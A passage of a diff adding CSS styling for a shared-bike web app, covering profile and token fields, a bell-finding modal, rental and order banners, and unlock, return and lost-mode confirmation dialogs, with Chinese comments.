1.5px solid var(--border-color); + border-radius: var(--radius-sm); + font-size: 14px; + outline: none; + transition: border-color 0.2s, box-shadow 0.2s, background 0.2s; + box-sizing: border-box; + background: var(--bg-secondary); + color: var(--text-primary); + } + .profile-section input:focus { + border-color: var(--accent-color); + background: var(--bg-card); + box-shadow: 0 0 0 3px var(--accent-soft); + } + .profile-label { + display: block; + font-size: 13px; + color: var(--text-secondary); + margin-bottom: 8px; + } + .profile-token-row { + display: flex; + gap: 8px; + } + .profile-token-row input { + flex: 1; + } + .profile-verify-btn { + padding: 10px 15px; + border-radius: 8px; + background: var(--accent-color); + border: none; + color: var(--accent-contrast); + font-size: 13px; + cursor: pointer; + white-space: nowrap; + } + .profile-verify-btn:hover { + background: var(--accent-hover); + } + .profile-verify-btn:disabled { + opacity: 0.55; + cursor: not-allowed; + } + /* 卡包信息样式 */ + .profile-packages { + margin-top: 20px; + padding-top: 20px; + border-top: 1px solid var(--border-color); + } + .packages-title { + font-size: 14px; + font-weight: 600; + color: var(--text-primary); + margin-bottom: 12px; + } + .packages-list { + max-height: 200px; + overflow-y: auto; + } + .packages-loading { + color: var(--text-tertiary); + font-size: 13px; + text-align: center; + padding: 15px; + } + .packages-empty { + color: var(--text-tertiary); + font-size: 13px; + text-align: center; + padding: 15px; + } + .package-card { + background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); + border-radius: var(--radius-md); + padding: 12px 14px; + margin-bottom: 10px; + color: white; + } + .package-card .pkg-name { + font-size: 14px; + font-weight: 600; + margin-bottom: 6px; + } + .package-card .pkg-info { + font-size: 12px; + opacity: 0.9; + line-height: 1.5; + } + .package-card .pkg-status { + display: inline-block; + background: rgba(255,255,255,0.25); + padding: 2px 8px; + border-radius: 10px; + font-size: 11px; + margin-top: 6px; + } + .package-card .pkg-status.active { + background: rgba(52, 199, 89, 0.8); + } + .package-card .pkg-usage { + display: flex; + justify-content: space-between; + margin-top: 8px; + font-size: 11px; + background: rgba(0,0,0,0.15); + padding: 6px 10px; + border-radius: 6px; + } + .package-card.warning { + background: linear-gradient(135deg, #f093fb 0%, #f5576c 100%); + } + .package-card.expired { + background: linear-gradient(135deg, #9e9e9e 0%, #616161 100%); + } + .bell-modal { + display: none; + position: fixed; + top: 0; + left: 0; + right: 0; + bottom: 0; + z-index: 1001; + } + .bell-modal.show { + display: block; + } + .bell-overlay { + position: absolute; + top: 0; + left: 0; + right: 0; + bottom: 0; + background: var(--overlay); + -webkit-backdrop-filter: blur(8px); + backdrop-filter: blur(8px); + } + .bell-content { + position: absolute; + top: 50%; + left: 50%; + transform: translate(-50%, -50%); + background: var(--bg-card); + border-radius: var(--radius-xl); + padding: 24px; + width: 300px; + max-width: 90%; + text-align: center; + box-shadow: var(--shadow-lg); + } + .bell-title { + font-size: 17px; + font-weight: 700; + letter-spacing: -0.3px; + margin-bottom: 16px; + color: var(--text-primary); + display: flex; + align-items: center; + justify-content: center; + gap: 8px; + } + .bell-tabs { + display: flex; + gap: 4px; + margin-bottom: 16px; + background: var(--bg-secondary); + border-radius: 10px; + padding: 3px; + } + .bell-tab { + flex: 1; + padding: 8px 4px; + border: none; + background: transparent; + border-radius: 8px; + font-size: 12px; + color: var(--text-secondary); + cursor: pointer; + transition: all 0.2s; + } + .bell-tab.active { + background: var(--bg-card); + color: var(--text-primary); + font-weight: 600; + box-shadow: var(--shadow-sm); + } + .bell-section { + display: none; + } + .bell-section.active { + display: block; + } + .bell-radius-group { + display: flex; + gap: 6px; + flex-wrap: wrap; + margin-bottom: 12px; + } + .radius-btn { + padding: 8px 14px; + border: 1.5px solid var(--border-color); + background: var(--bg-secondary); + border-radius: 20px; + font-size: 13px; + color: var(--text-secondary); + cursor: pointer; + transition: all 0.2s; + white-space: nowrap; + } + .radius-btn.active { + border-color: var(--accent-color); + background: var(--accent-color); + color: var(--accent-contrast); + } + .bell-location-hint { + font-size: 12px; + color: var(--text-tertiary); + margin-bottom: 10px; + display: flex; + align-items: center; + gap: 6px; + } + .bell-location-hint.active { + color: var(--accent-color); + } + .bell-status-group { + display: flex; + flex-direction: column; + gap: 8px; + margin-bottom: 12px; + } + .bell-status-item { + display: flex; + align-items: center; + gap: 10px; + padding: 8px 12px; + background: var(--bg-secondary); + border-radius: var(--radius-sm); + cursor: pointer; + transition: all 0.2s; + } + .bell-status-item:hover { + background: var(--border-color); + } + .bell-status-item.selected { + background: var(--accent-soft); + border: 1px solid var(--accent-color); + } + .status-dot { + width: 12px; + height: 12px; + border-radius: 50%; + flex-shrink: 0; + } + .status-dot.available { background: #34c759; } + .status-dot.used { background: #ff2d55; } + .status-dot.locked { background: #ff9f0a; } + .status-dot.low { background: #8e8e93; } + .status-dot.reserved { background: #5856D6; } + .bell-status-name { + flex: 1; + font-size: 14px; + color: var(--text-primary); + } + .bell-status-count { + font-size: 12px; + color: var(--text-secondary); + } + /* Token失效弹窗 */ + .token-expired-modal { + display: none; + position: fixed; + top: 0; left: 0; right: 0; bottom: 0; + z-index: 2200; + align-items: center; + justify-content: center; + } + .token-expired-modal.show { + display: flex; + } + .token-expired-overlay { + position: absolute; + top: 0; left: 0; right: 0; bottom: 0; + background: var(--overlay); + -webkit-backdrop-filter: blur(8px); + backdrop-filter: blur(8px); + } + .token-expired-content { + position: relative; + background: var(--bg-card); + border-radius: var(--radius-xl); + padding: 28px 24px 20px; + width: 320px; + max-width: 90%; + text-align: center; + box-shadow: var(--shadow-lg); + z-index: 1; + } + .token-expired-icon { + font-size: 42px; + margin-bottom: 10px; + } + .token-expired-title { + font-size: 18px; + font-weight: 700; + color: var(--text-primary); + margin-bottom: 8px; + } + .token-expired-desc { + font-size: 13px; + color: var(--text-secondary); + line-height: 1.5; + margin-bottom: 18px; + } + .token-expired-fields { + text-align: left; + margin-bottom: 16px; + } + .token-expired-fields label { + display: block; + font-size: 13px; + color: var(--text-secondary); + margin-bottom: 6px; + } + .token-expired-fields input { + width: 100%; + padding: 10px 12px; + border: 1.5px solid var(--border-color); + border-radius: var(--radius-sm); + font-size: 14px; + outline: none; + transition: border-color 0.2s, box-shadow 0.2s; + box-sizing: border-box; + background: var(--bg-secondary); + color: var(--text-primary); + margin-bottom: 12px; + } + .token-expired-fields input:focus { + border-color: var(--accent-color); + background: var(--bg-card); + box-shadow: 0 0 0 3px var(--accent-soft); + } + .token-expired-btns { + display: flex; + gap: 10px; + } + .token-expired-btn { + flex: 1; + padding: 12px; + border-radius: var(--radius-md); + font-size: 15px; + font-weight: 600; + cursor: pointer; + border: none; + transition: all 0.2s; + } + .token-expired-btn.cancel { + background: var(--bg-secondary); + color: var(--text-primary); + border: 1.5px solid var(--border-color); + } + .token-expired-btn.cancel:hover { background: var(--border-color); } + .token-expired-btn.confirm { + background: var(--accent-color); + color: var(--accent-contrast); + } + .token-expired-btn.confirm:hover { background: var(--accent-hover); } + .token-expired-btn:active { + transform: scale(0.96); + } + .token-expired-tip { + color: var(--error-color); + font-size: 13px; + min-height: 18px; + margin-bottom: 10px; + } + /* 灯泡图标按钮 */ + .help-link-btn { + display: inline-flex; + align-items: center; + justify-content: center; + width: 30px; + height: 30px; + border-radius: 50%; + background: rgba(255, 149, 0, 0.12); + border: 1px solid rgba(255, 149, 0, 0.3); + cursor: pointer; + transition: all 0.2s; + vertical-align: middle; + flex-shrink: 0; + text-decoration: none; + } + .help-link-btn:hover { + background: rgba(255, 149, 0, 0.22); + transform: scale(1.08); + } + .help-link-btn:active { transform: scale(0.95); } + .help-link-btn svg { + color: var(--warning); + } + /* 下载按钮:沿用灯泡按钮的圆形尺寸,配色改为主色以区分于教程入口 */ + .download-link-btn { + background: rgba(10, 132, 255, 0.12); + border-color: rgba(10, 132, 255, 0.32); + } + .download-link-btn:hover { + background: rgba(10, 132, 255, 0.22); + } + .download-link-btn svg { + color: #0a84ff; + } + /* 内置浏览器下载提示弹窗 */ + .download-tip-desc { + font-size: 13.5px; + line-height: 1.65; + color: var(--text-secondary); + margin: 10px 0 14px; + } + .download-tip-link-row { + display: flex; + align-items: center; + gap: 8px; + margin-bottom: 10px; + } + .download-tip-link-row input { + flex: 1; + min-width: 0; + font-size: 12px; + color: var(--text-secondary); + } + .download-tip-copy { + flex-shrink: 0; + padding: 0 14px; + height: 42px; + min-width: 62px; + white-space: nowrap; + border: none; + border-radius: var(--radius-sm); + -webkit-appearance: none; + appearance: none; + /* ui-system 把 --accent-color 重定义成了灰阶的 --ui-solid, + 这里要用明确的强调蓝,所以不复用该变量 */ + background: #0a84ff !important; + color: #fff !important; + font-size: 14px; + cursor: pointer; + } + .download-tip-copy:active { transform: scale(0.96); } + .download-tip-hint { + font-size: 12px; + line-height: 1.6; + color: var(--text-tertiary, var(--text-secondary)); + margin-bottom: 16px; + } + /* 提示弹窗标题较长,给关闭按钮留出空间,避免折行文字压到 ✕ */ + .download-tip-content .auth-header span { + padding-right: 28px; + font-size: 15.5px; + line-height: 1.45; + } + .token-input-with-help { + display: flex; + align-items: center; + gap: 6px; + } + .token-input-with-help input { + flex: 1; + width: auto; + min-width: 0; + } + /* 行内小号主操作按钮(发送验证码) */ + .code-send-btn { + min-width: 96px; + padding: 0 12px; + height: 42px; + border: none; + border-radius: var(--radius-sm); + background: var(--accent-color); + color: var(--accent-contrast); + font-size: 13px; + font-weight: 600; + white-space: nowrap; + cursor: pointer; + transition: background 0.2s, opacity 0.2s, transform 0.15s; + } + .code-send-btn:hover { background: var(--accent-hover); } + .code-send-btn:active { transform: scale(0.96); } + .code-send-btn:disabled { + opacity: 0.55; + cursor: not-allowed; + transform: none; + } + + .bell-status-check { + width: 20px; + height: 20px; + border-radius: 4px; + border: 2px solid var(--border-color); + display: flex; + align-items: center; + justify-content: center; + transition: all 0.2s; + } + .bell-status-item.selected .bell-status-check { + background: var(--accent-color); + border-color: var(--accent-color); + color: var(--accent-contrast); + } + .bell-select-hint { + font-size: 12px; + color: var(--text-tertiary); + text-align: center; + padding: 8px; + background: var(--bg-secondary); + border-radius: var(--radius-sm); + margin-bottom: 12px; + } + .bell-filter-info { + font-size: 13px; + color: var(--accent-color); + margin-top: 10px; + text-align: center; + } + .bell-input { + width: 100%; + padding: 12px 14px; + border: 1.5px solid var(--border-color); + border-radius: var(--radius-sm); + font-size: 15px; + background: var(--bg-secondary); + color: var(--text-primary); + outline: none; + text-align: center; + letter-spacing: 4px; + margin-bottom: 12px; + transition: border-color 0.2s, box-shadow 0.2s, background 0.2s; + } + .bell-input:focus { + border-color: var(--accent-color); + background: var(--bg-card); + box-shadow: 0 0 0 3px var(--accent-soft); + } + .bell-error { + color: var(--error-color); + font-size: 13px; + margin-bottom: 12px; + min-height: 18px; + } + .bell-progress { + margin-top: 12px; + font-size: 13px; + color: var(--text-secondary); + } + .qr-body { + text-align: center; + } + #qrcode-box { + background: white; + padding: 16px; + border-radius: var(--radius-md); + display: inline-block; + } + .qr-hint { + margin: 14px 0 0; + font-size: 13px; + color: var(--text-secondary); + } + + /* 禁用微信图片长按原生菜单 */ + #qrcode-box { + -webkit-touch-callout: none; + user-select: none; + -webkit-user-select: none; + } + + /* 个人中心 / 凭证 / 登录设备管理:深色模式由设计令牌自动适配 */ + + /* 二维码暗色模式适配 */ + @media (prefers-color-scheme: dark) { + #qrcode-box canvas { + filter: brightness(0.9) contrast(1.1); + background: var(--qr-bg, #1a1a1a); + padding: 8px; + border-radius: 6px; + box-shadow: rgba(0,0,0,0.6) 2px 2px 8px 0; + } + } + + #qrcode-box canvas { + box-shadow: rgba(0,0,0,0.4) 2px 2px 8px 0; + border-radius: 4px; + } + + /* 用车计时状态栏 */ + .rental-bar { + display: none; + background: linear-gradient(135deg, #ff6b00, #ff9f0a); + color: white; + padding: 10px 16px; + font-size: 14px; + font-weight: 600; + align-items: center; + justify-content: space-between; + flex-shrink: 0; + z-index: 150; + cursor: pointer; + user-select: none; + } + .rental-bar.show { + display: flex; + } + .rental-bar-left { + display: flex; + align-items: center; + gap: 10px; + } + .rental-bar .icon { + font-size: 18px; + } + .rental-bar-time { + font-size: 17px; + font-weight: 700; + font-variant-numeric: tabular-nums; + min-width: 60px; + } + .rental-bar-info { + font-size: 13px; + opacity: 0.9; + } + .rental-bar-btn { + background: rgba(255,255,255,0.25); + border: 1px solid rgba(255,255,255,0.4); + color: white; + padding: 6px 16px; + border-radius: 20px; + font-size: 13px; + font-weight: 600; + cursor: pointer; + transition: background 0.2s; + } + .rental-bar-btn:hover { + background: rgba(255,255,255,0.35); + } + + /* 还车确认弹窗 */ + .return-modal { + display: none; + position: fixed; + top: 0; left: 0; right: 0; bottom: 0; + z-index: 2000; + } + .return-modal.show { + display: block; + } + .return-overlay { + position: absolute; + top: 0; left: 0; right: 0; bottom: 0; + background: rgba(0,0,0,0.6); + } + .return-content { + position: absolute; + top: 50%; + left: 50%; + transform: translate(-50%, -50%); + background: var(--bg-card); + border-radius: var(--radius-xl); + padding: 28px 24px; + width: 310px; + max-width: 90%; + box-shadow: var(--shadow-lg); + text-align: center; + } + .return-icon { + font-size: 48px; + margin-bottom: 16px; + } + .return-title { + font-size: 20px; + font-weight: 700; + color: var(--text-primary); + margin-bottom: 8px; + } + .return-desc { + font-size: 14px; + color: var(--text-secondary); + margin-bottom: 6px; + line-height: 1.5; + } + .return-bike { + font-size: 15px; + color: var(--text-primary); + font-weight: 600; + margin-bottom: 20px; + } + .return-btns { + display: flex; + gap: 12px; + } + .return-btn-yes { + flex: 1; + padding: 14px 10px; + background: var(--success); + color: white; + border: none; + border-radius: var(--radius-md); + font-size: 15px; + font-weight: 600; + cursor: pointer; + transition: background 0.2s, transform 0.15s; + white-space: nowrap; + } + .return-btn-yes:hover { + background: var(--success-press); + } + .return-btn-yes:active { transform: scale(0.97); } + .return-btn-no { + flex: 1; + padding: 14px 10px; + background: var(--bg-secondary); + color: var(--text-primary); + border: 1.5px solid var(--border-color); + border-radius: var(--radius-md); + font-size: 15px; + font-weight: 600; + cursor: pointer; + transition: all 0.2s; + white-space: nowrap; + } + .return-btn-no:hover { + background: var(--border-color); + } + .return-btn-no:active { transform: scale(0.97); } + + @media (max-width: 480px) { + .header { padding: 12px 16px; } + .header-title { font-size: 16px; } + .stats-card { top: 10px; left: 10px; padding: 10px; } + .stats-number { font-size: 24px; } + .legend { top: 10px; right: 10px; padding: 10px 12px; } + .scan-bar { padding: 14px 16px; padding-bottom: calc(14px + env(safe-area-inset-bottom, 0px)); } + .scan-btn { padding: 12px 18px; font-size: 14px; } + } + + @media (min-width: 768px) { + .scan-bar { + max-width: 600px; + left: 50%; + transform: translateX(-50%); + border-radius: var(--radius-lg) var(--radius-lg) 0 0; + border-left: 1px solid var(--border-color); + border-right: 1px solid var(--border-color); + } + .bike-card { + max-width: 500px; + left: 50%; + transform: translateX(-50%) translateY(100%); + border-radius: var(--radius-xl); + border: 1px solid var(--border-color); + border-bottom: 1px solid var(--border-color); + } + .bike-card.show { + transform: translateX(-50%) translateY(0); + } + } + + /* 订单横幅 */ + .order-banner { + background: linear-gradient(135deg, #ff9500, #ff6b00); + color: white; + padding: 10px 16px; + display: flex; + align-items: center; + justify-content: space-between; + font-size: 14px; + cursor: pointer; + flex-shrink: 0; + z-index: 150; + display: none; + } + /* 横幅单行锁定 */ + .order-banner, .rental-bar { flex-wrap: nowrap !important; white-space: nowrap !important; overflow: hidden !important; } + .order-banner-left, .rental-bar-left { flex: 1 1 auto; min-width: 0; overflow: hidden; flex-wrap: nowrap; } + #order-banner-text { flex: 1 1 auto; min-width: 0; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } + #order-banner-icon, .rental-bar-left > .icon { flex: 0 0 auto; } + .order-banner-right, .rental-bar > div:last-child { flex: 0 0 auto; white-space: nowrap; } + .order-banner-btn, .rental-bar-btn { white-space: nowrap; flex: 0 0 auto; } + #order-final-time, #order-countdown, #rental-final-time, #rental-time, #rental-bike-code, .rental-bar-info { white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } + @media (max-width: 430px) { #order-final-time { display: none !important; } .order-banner { padding: 9px 10px !important; font-size: 13px !important; } .order-banner-btn, .rental-bar-btn { padding: 5px 9px !important; font-size: 12px !important; } } + .order-banner.show { + display: flex; + } + .order-banner-left { + display: flex; + align-items: center; + gap: 8px; + } + .order-banner.warning { + background: linear-gradient(135deg, #ff3b30, #ff2a55); + } + .order-banner.riding { + background: linear-gradient(135deg, #0071e3, #005bbf); + } + .order-banner-right { + display: flex; + align-items: center; + } + .order-banner-btn { + background: rgba(255,255,255,0.25); + border: 1px solid rgba(255,255,255,0.4); + color: white; + padding: 6px 12px; + border-radius: 16px; + font-size: 13px; + cursor: pointer; + } + + /* 登录态到期提醒横幅(不足 2 天时出现) */ + .auth-expiry-banner { + background: linear-gradient(135deg, #ffb340, #f08a00); + color: white; + padding: 9px 16px; + align-items: center; + justify-content: space-between; + gap: 10px; + font-size: 13px; + line-height: 1.45; + cursor: pointer; + flex-shrink: 0; + z-index: 150; + display: none; + } + .auth-expiry-banner.show { + display: flex; + } + .auth-expiry-banner.urgent { + background: linear-gradient(135deg, #ff3b30, #ff2a55); + } + .auth-expiry-banner-left { + display: flex; + align-items: center; + gap: 8px; + min-width: 0; + } + .auth-expiry-banner-icon { + font-size: 15px; + line-height: 1; + flex-shrink: 0; + } + .auth-expiry-banner-text { + min-width: 0; + } + .auth-expiry-banner-right { + display: flex; + align-items: center; + flex-shrink: 0; + } + .auth-expiry-banner-btn { + background: rgba(255,255,255,0.25); + border: 1px solid rgba(255,255,255,0.4); + color: white; + padding: 5px 12px; + border-radius: 16px; + font-size: 13px; + cursor: pointer; + white-space: nowrap; + } + + /* 订单操作全屏面板 */ + .order-actions-modal { + position: fixed; + inset: 0; + display: none; + z-index: 3600; + color: var(--text-primary); + } + .order-actions-modal.show { + display: flex; + } + .order-actions-overlay { + position: absolute; + inset: 0; + background: var(--overlay); + } + .order-actions-content { + position: relative; + z-index: 1; + width: 100%; + height: 100%; + overflow-y: auto; + padding: max(24px, env(safe-area-inset-top)) 20px max(24px, env(safe-area-inset-bottom)); + background: var(--bg-primary); + -webkit-overflow-scrolling: touch; + } + .order-actions-header { + width: min(720px, 100%); + margin: 0 auto 20px; + display: flex; + align-items: flex-start; + justify-content: space-between; + gap: 16px; + } + .order-actions-kicker { + color: var(--text-secondary); + font-size: 12px; + letter-spacing: 0.08em; + margin-bottom: 6px; + } + .order-actions-header h2 { + font-size: 26px; + line-height: 1.15; + letter-spacing: -0.5px; + } + .order-actions-meta { + color: var(--text-secondary); + font-size: 14px; + margin-top: 8px; + } + .order-actions-close { + width: 44px; + height: 44px; + flex: 0 0 44px; + border: 1px solid var(--border-color); + border-radius: 50%; + background: var(--bg-secondary); + color: var(--text-primary); + font-size: 18px; + cursor: pointer; + } + .order-actions-close:active { transform: scale(0.95); } + .order-actions-status { + width: min(720px, 100%); + margin: 0 auto 20px; + padding: 13px 15px; + border: 1px solid rgba(0, 113, 227, 0.2); + border-radius: var(--radius-md); + background: var(--accent-soft); + color: var(--accent-color); + font-size: 14px; + font-weight: 600; + } + .order-actions-status.warning { + border-color: rgba(255, 59, 48, 0.2); + background: rgba(255, 59, 48, 0.10); + color: var(--danger); + } + .order-actions-status.riding { + border-color: rgba(0, 113, 227, 0.2); + background: var(--accent-soft); + color: var(--accent-color); + } + .order-actions-grid { + width: min(720px, 100%); + margin: 0 auto; + display: grid; + grid-template-columns: repeat(2, minmax(0, 1fr)); + gap: 12px; + } + .order-action-card { + min-height: 94px; + display: flex; + align-items: center; + gap: 12px; + padding: 16px; + border: 1px solid var(--border-color); + border-radius: var(--radius-lg); + background: var(--bg-card); + color: var(--text-primary); + text-align: left; + box-shadow: var(--shadow-sm); + cursor: pointer; + transition: transform 0.18s ease, border-color 0.18s ease, background 0.18s ease; + } + .order-action-card:hover { + border-color: var(--accent-color); + background: var(--accent-soft); + } + .order-action-card:active { transform: scale(0.98); } + .order-action-card.primary { + border-color: var(--accent-color); + background: var(--accent-color); + color: var(--accent-contrast); + } + .order-action-card.primary:hover { background: var(--accent-hover); } + .order-action-card.danger { + border-color: rgba(255, 59, 48, 0.28); + color: var(--danger); + } + .order-action-card:disabled { + opacity: 0.58; + cursor: wait; + transform: none; + } + .order-action-icon { + width: 38px; + height: 38px; + flex: 0 0 38px; + display: grid; + place-items: center; + border-radius: 12px; + background: var(--bg-secondary); + color: var(--accent-color); + font-size: 21px; + font-weight: 700; + } + .order-action-card.primary .order-action-icon { + background: rgba(255,255,255,0.18); + color: inherit; + } + .order-action-card.danger .order-action-icon { + background: rgba(255, 59, 48, 0.10); + color: var(--danger); + } + .order-action-copy { + min-width: 0; + display: flex; + flex-direction: column; + gap: 5px; + } + .order-action-copy strong { + font-size: 15px; + line-height: 1.2; + } + .order-action-copy small { + color: var(--text-secondary); + font-size: 12px; + line-height: 1.35; + } + .order-action-card.primary .order-action-copy small { color: rgba(255,255,255,0.82); } + .order-actions-hint { + width: min(720px, 100%); + margin: 18px auto 0; + color: var(--text-tertiary); + font-size: 12px; + line-height: 1.6; + text-align: center; + } + body.order-actions-open { overflow: hidden; } + .order-actions-modal.show .order-actions-content { + animation: orderActionsIn 0.24s ease-out both; + } + @keyframes orderActionsIn { + from { opacity: 0; transform: translateY(12px); } + to { opacity: 1; transform: translateY(0); } + } + @media (max-width: 480px) { + .order-actions-content { padding-left: 16px; padding-right: 16px; } + .order-actions-header h2 { font-size: 23px; } + .order-action-card { min-height: 88px; padding: 13px; gap: 9px; } + .order-action-icon { width: 34px; height: 34px; flex-basis: 34px; font-size: 18px; } + } + @media (prefers-reduced-motion: reduce) { + .order-actions-modal.show .order-actions-content { animation: none; } + .order-action-card { transition: none; } + } + + /* 还车确认弹窗 */ + .return-confirm-modal { + position: fixed; + top: 0; + left: 0; + right: 0; + bottom: 0; + background: var(--overlay); + -webkit-backdrop-filter: blur(8px); + backdrop-filter: blur(8px); + display: none; + align-items: center; + justify-content: center; + z-index: 3800; + } + .return-confirm-modal.show { + display: flex; + } + .return-confirm-content { + background: var(--bg-card); + border-radius: var(--radius-xl); + padding: 24px; + width: 300px; + max-width: 90%; + text-align: center; + box-shadow: var(--shadow-lg); + } + .return-confirm-title { + font-size: 17px; + font-weight: 700; + letter-spacing: -0.3px; + margin-bottom: 12px; + display: flex; + align-items: center; + justify-content: center; + gap: 8px; + } + .return-confirm-text { + color: var(--text-secondary); + font-size: 14px; + margin-bottom: 20px; + line-height: 1.5; + } + .return-confirm-btns { + display: flex; + gap: 12px; + } + .return-confirm-btn { + flex: 1; + padding: 12px; + border-radius: var(--radius-md); + font-size: 15px; + font-weight: 600; + cursor: pointer; + border: none; + transition: all 0.2s; + } + .return-confirm-btn.cancel { + background: var(--bg-secondary); + color: var(--text-primary); + border: 1.5px solid var(--border-color); + } + .return-confirm-btn.cancel:hover { background: var(--border-color); } + .return-confirm-btn.confirm { + background: var(--accent-color); + color: var(--accent-contrast); + } + .return-confirm-btn.confirm:hover { background: var(--accent-hover); } + .return-confirm-btn:active { transform: scale(0.97); } + .return-confirm-btn:disabled { + opacity: 0.6; + } + + /* 开锁确认弹窗 */ + .unlock-confirm-modal { + position: fixed; + top: 0; + left: 0; + right: 0; + bottom: 0; + background: var(--overlay); + -webkit-backdrop-filter: blur(8px); + backdrop-filter: blur(8px); + display: none; + align-items: center; + justify-content: center; + z-index: 2000; + } + .unlock-confirm-modal.show { + display: flex; + } + .unlock-confirm-content { + background: var(--bg-card); + border-radius: var(--radius-xl); + padding: 24px; + width: 300px; + max-width: 90%; + text-align: center; + box-shadow: var(--shadow-lg); + } + .unlock-confirm-title { + font-size: 17px; + font-weight: 700; + letter-spacing: -0.3px; + margin-bottom: 12px; + color: var(--text-primary); + display: flex; + align-items: center; + justify-content: center; + gap: 8px; + } + .unlock-confirm-text { + color: var(--text-secondary); + font-size: 14px; + margin-bottom: 20px; + line-height: 1.5; + } + .unlock-confirm-btns { + display: flex; + gap: 12px; + } + .unlock-confirm-btn { + flex: 1; + padding: 12px; + border-radius: var(--radius-md); + font-size: 15px; + font-weight: 600; + cursor: pointer; + border: none; + transition: all 0.2s; + } + .unlock-confirm-btn.cancel { + background: var(--bg-secondary); + color: var(--text-primary); + border: 1.5px solid var(--border-color); + } + .unlock-confirm-btn.cancel:hover { background: var(--border-color); } + .unlock-confirm-btn.confirm { + background: var(--accent-color); + color: var(--accent-contrast); + } + .unlock-confirm-btn.confirm:hover { background: var(--accent-hover); } + /* 危险操作的确认按钮(解绑/下线等) */ + .unlock-confirm-btn.confirm.danger { background: #d93b35; color: #fff; } + .unlock-confirm-btn.confirm.danger:hover { background: #c22f2a; } + + /* ===== 确认类弹窗永远压在所有弹窗之上 ===== + 现状层级:order-actions 3600 > auth-modal 3500 > login-gate 3000 + > token-expired 2200 > lost 2100 > unlock/return 2000 > qr 1000 + 通用确认框(app-confirm)与追加一轮确认可能在任意弹窗打开时弹出, + 必须高于全部弹窗,但仍低于 toast(9999) 以免挡住提示。 */ + #app-confirm-modal, + #add-round-modal { + z-index: 5000 !important; + } + .unlock-confirm-btn:active { transform: scale(0.97); } + .unlock-confirm-btn:disabled { + opacity: 0.6; + } + + /* ========== 丢失模式 ========== */ + /* 丢失模式确认弹窗 */ + .lost-modal { + position: fixed; + top: 0; left: 0; right: 0; bottom: 0; + background: var(--overlay); + -webkit-backdrop-filter: blur(8px); + backdrop-filter: blur(8px); + display: none; + align-items: center; + justify-content: center; + z-index: 2100; + } + .lost-modal.show { + display: flex; + } + .lost-modal-content { + background: var(--bg-card); + border-radius: var(--radius-xl); + padding: 28px 24px 20px; + width: 300px; + max-width: 90%; + text-align: center; + box-shadow: var(--shadow-lg); + } + .lost-modal-icon { + font-size: 36px; + margin-bottom: 10px; + color: var(--accent-color); + } + .lost-modal-title { + font-size: 18px; + font-weight: 700; + color: var(--text-primary); + margin-bottom: 8px; + } + .lost-modal-subtitle { + font-size: 13px; + color: var(--text-secondary); + line-height: 1.6; + margin-bottom: 24px; + } + .lost-modal-btns { + display: flex; + gap: 10px; + } + .lost-modal-btn { + flex: 1; + padding: 12px; + border-radius: var(--radius-md); + font-size: 15px; + font-weight: 600; + cursor: pointer; + border: none; + transition: all 0.2s; + } + .lost-modal-btn.cancel { + background: var(--bg-secondary); + color: var(--text-primary); + border: 1.5px solid var(--border-color); + } + .lost-modal-btn.cancel:hover { background: var(--border-color); } + .lost-modal-btn.confirm { + background: var(--accent-color); + color: var(--accent-contrast); + } + .lost-modal-btn.confirm:hover { background: var(--accent-hover); } + .lost-modal-btn:active { + transform: scale(0.96); + } + + /* 丢失模式下寻车按钮呼吸灯动画 */ + @keyframes lostBreath { + 0% { box-shadow: 0 0 0 0 rgba(0, 113, 227, 0.7); background: rgba(0,113,227,0.12); } + 50% { box-shadow: 0 0 0 8px rgba(0, 113, 227, 0); background: rgba(0,113,227,0.25); } + 100% { box-shadow: 0 0 0 0 rgba(0, 113, 227, 0); background: rgba(0,113,227,0.12); } + } + .bike-card-find-btn.lost-mode { + background: var(--accent-soft) !important; + border-color: var(--accent-color) !important; + color: var(--accent-color) !important; + animation: lostBreath 1.8s ease-in-out infinite; + } + .bike-card-find-btn.lost-mode svg { + stroke: var(--accent-color); + } + + /* 深色适配:暗色下统一由设计令牌接管,无需逐项覆盖 */ + /* ===== 共享电动车 & 版本号(新增) ===== */ + .version-badge { position: fixed; left: 14px; bottom: 96px; z-index: 150; background: var(--bg-card); border: 1px solid var(--border-color); color: var(--text-secondary); padding: 4px 12px; border-radius: 14px; font-size: 12px; cursor: pointer; opacity: .92; box-shadow: var(--shadow-sm); -webkit-backdrop-filter: blur(16px); backdrop-filter: blur(16px); transition: opacity .2s, transform .15s; } + .version-badge:hover { opacity: 1; } + .version-badge:active { transform: scale(0.95); } + .version-log { flex: 0 1 auto; min-height: 0; overflow: auto; font-size: 13px; color: var(--text-primary); } + .version-log h4 { margin: 12px 0 4px; } + .version-log ul { margin: 0; padding-left: 18px; line-height: 1.7; } + /* 版本说明固定标题、只让日志区滚动(不能再用 vh 限高,原因见 .auth-content) */ + #version-modal .auth-content { display: flex; flex-direction: column; } + .share-content { width: 430px; max-width: 94%; } + .share-desc { font-size: 12px; color: var(--text-secondary); margin-bottom: 12px; line-height: 1.6; } + .share-req-row { display: flex; gap: 8px; margin-bottom: 6px; } + .share-req-row input { flex: 1; padding: 10px 12px; border: 1.5px solid var(--border-color); border-radius: var(--radius-sm); background: var(--bg-secondary); color: var(--text-primary); outline: none; font-size: 13px; transition: border-color .2s, box-shadow .2s, background .2s; } + .share-req-row input:focus { border-color: var(--accent-color); background: var(--bg-card); box-shadow: 0 0 0 3px var(--accent-soft); } + .share-req-row button { white-space: nowrap; padding: 10px 16px; border: none; border-radius: var(--radius-sm); background: var(--accent-color); color: var(--accent-contrast); cursor: pointer; font-size: 13px; font-weight: 600; transition: background .2s, transform .15s, opacity .2s; } + .share-req-row button:hover { background: var(--accent-hover); } + .share-req-row button:active { transform: scale(0.96); } + .share-req-row button:disabled { opacity: 0.55; cursor: not-allowed; transform: none; } + /* 分段控件:与「批量寻铃」弹窗同一套 tab 语言 */ + .share-tabs { display: flex; gap: 4px; margin: 10px 0 12px; background: var(--bg-secondary); border-radius: 10px; padding: 3px; } + .share-tab { flex: 1; padding: 8px; border: none; background: transparent; color: var(--text-secondary); border-radius: 8px; font-size: 14px; cursor: pointer; transition: all 0.2s; } + .share-tab.active { background: var(--bg-card); color: var(--text-primary); font-weight: 600; box-shadow: var(--shadow-sm); } + .share-list { display: flex; flex-direction: column; gap: 8px; } + .share-list:empty::after { content: "暂无记录"; color: var(--text-tertiary); font-size: 13px; padding: 16px; text-align: center; display: block; } + .share-row { background: var(--bg-secondary); border: 1px solid var(--border-color); border-radius: var(--radius-md); padding: 10px 12px; font-size: 13px; } + .share-row-top { 